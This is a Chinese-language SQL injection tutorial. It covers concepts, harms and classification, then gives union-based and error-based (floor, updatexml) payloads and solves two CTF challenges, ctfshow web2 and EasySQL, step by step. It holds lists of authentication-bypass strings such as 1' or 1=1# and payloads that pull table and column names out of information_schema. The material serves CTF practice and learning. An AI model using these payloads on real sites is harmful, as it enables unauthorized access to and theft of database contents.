1.概念
web应用程序对输入合法性没有判断或过滤不严,或将用户数据写入程序被执行,使攻击者可以通过在程序语句结尾添加SQL语句进行非法操作。
用户的恶意输入被带入程序后端数据库进行查询,导致数据泄露。
1.2危害
木马上传,udf(user defined function)提权(存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’),数据泄露
1.3过程
寻找注入点——构造注入语句,注入语句和程序中的语句结合成新的sql语句——新的sql语句被提交到数据库进行处理——数据库执行,引发sql注入攻击
1.4分类
1.4.1按注入点分类
-
数字型注入
-
字符型注入
-
搜索型注入
1.4.2按数据提交方式分类
-
get注入
-
post注入
-
http头部注入user-agent:判定用户使用的操作系统,以及使用的浏览器的版本 cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡 x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段 client-ip: 数据库保存客户端IP的参数 rerferer:浏览器向web端表明自己从哪个连接而来 host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
1.4.3按执行效果分类
-
盲注
-
布尔盲注
-
时间盲注
-
dnslog盲注
-
-
报错注入
-
联合查询
-
堆叠注入
-
宽字节注入
-
二次注入
1.4.4按注入拼接位置分类
-
where注入
-
order by注入
-
limit注入
-
values注入
2.注入思路
#1.判断数据库字段数目 'order by ? #2.联合查询---接入1,2,3,4回显数据 mysql> select * from stu union select 1,2,3,4; +----+---------+--------+------+ | id | name | gender | age | +----+---------+--------+------+ | 1 | chengke | 1 | 30 | | 1 | beijing | 1 | 200 | | 2 | guagnxi | 1 | 2300 | | 3 | nanjing | 1 | 500 | | 4 | henan | 1 | 600 | | 1 | 2 | 3 | 4 | +----+---------+--------+------+ 6 rows in set (0.00 sec) #3.回显user--假设回显位置为2 mysql> select * from stu union select 1,(select user()),3,4; #4.回显数据库 mysql> select * from stu union select 1,(select database()),3,4; #5.回显版本号 mysql> select * from stu union select 1,(select version()),3,4; #6.查询表名---(5.7出不来?) mysql> select * from stu union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),3,4; #7.查询字段信息 mysql> select * from stu union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu'),3,4; #8.锁定目标信息 select * from stu union select 1,(select group_concat(name,age) from stu),3,4;
做题步骤 举例:
01:ctfshow web2 最简单的SQL注入
sql手工注入常用语句:
普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;
查询数据库:select schema_name from information_schema.schemata#
select database()#
查询数据库表:select table_name from information_schema.tables where table_schema='数据库名'#
查询字段名:select column_name from infromation_schema.columns where table_name='表名'#
查询字段内容:select * from 表名#
万能密码的用户名和密码:
1' or 1=1#
admin or 1=1 或者1 or 1=1 or 1=1
user=‘=’,pass=‘=’
1' or 1=1# "or "a"="a ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- "or 1=1-- 'or'a'='a "or"="a'='a 'or''=' 1'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 1=1 'OR 1=1%00
做题步骤
1.输入万能密码
1' or 1=1# 出现回显
2.判断字段数
输入order by 1/2/3/4……#
发现在4是不会出现回显,可以确定是3列
3.判断出现回显的位置
联合查询-接入数据
输入1' or 1=1 union select 1,2,3#
可以看出回显的位置在2号位
4.查询数据库名
1' or 1=1 union select 1,database,3#
5.查询数据库版本
1' or 1=1 union select 1,version(),3 #
这是因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。
6.查询数据库名web2下的所有表名
1' or 1=1 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='web2' #
数据库下有两个表:flag,user
7.查询列flag下的列名信息
1' or 1=1 union select 1, group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag' #
发现列名下仍为flag
8.直接查询该列具体字段
1' or 1=1 union select 1,flag,3 from web2.flag #
9.最后
information_schema这个数据库下面包含了所有数据库的所有信息
获取一下所有数据库的数据库名
1' or 1=1 union select 1,schema_name,3 from information_schema.schemata #
02:[极客大挑战 2019]EasySQL
模糊测试
模糊测试的执行过程非常简单:
- 测试工具通过随机或是半随机的方式生成大量数据;
- 测试工具将生成的数据发送给被测试的系统(输入);
- 测试工具检测被测系统的状态(如是否能够响应,响应是否正确等);
- 根据被测系统的状态判断是否存在潜在的安全漏洞。
解题思路:
打开界面
首先进行模糊测试(FUZZ Tetsing)
什么都不输
随便输入
通过上图可猜想出服务端的SQL语句,以及服务端逻辑
猜想:select * from xxx where 'username'='?' and 'password'='?'
服务器逻辑:if语句
解题方式1
先试试万能密码
user=‘=’,pass=‘=’ 尝试成功
1' or 1=1# 尝试成功
flag{5519a9e2-3349-4565-8b94-978e9871ef34}
解题方式2
' union select 1,2,3 # 放在用户名,密码随便输 成功
ABB | B | VC |
1 | 2 | 3 |
验证之前猜想
select * from xxx where 'username'='?' and 'password'='?'
select * from xxx where 'username'='' union select 1,2,3 # ' and 'password'='?'
实际上变成了:select * from xxx where 'username'='' union select 1,2,3
username源自错误界面看出,而1,2,3永远有结果
解题方式3
基于floor报错注入
' union select 1,count(*),concat((select database()), floor(rand(0)*2))x from information_schema.tables group by x #
1. 库名
2.表名
3.字段名
4.查结果
解题方式4
基于updatexml报错注入
查出表名
‘ or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database())),1) #
查出字段名
‘ or updatexml(1,concat('~',(select column_name from information_schema.tables where table_name="geekuser")),1) #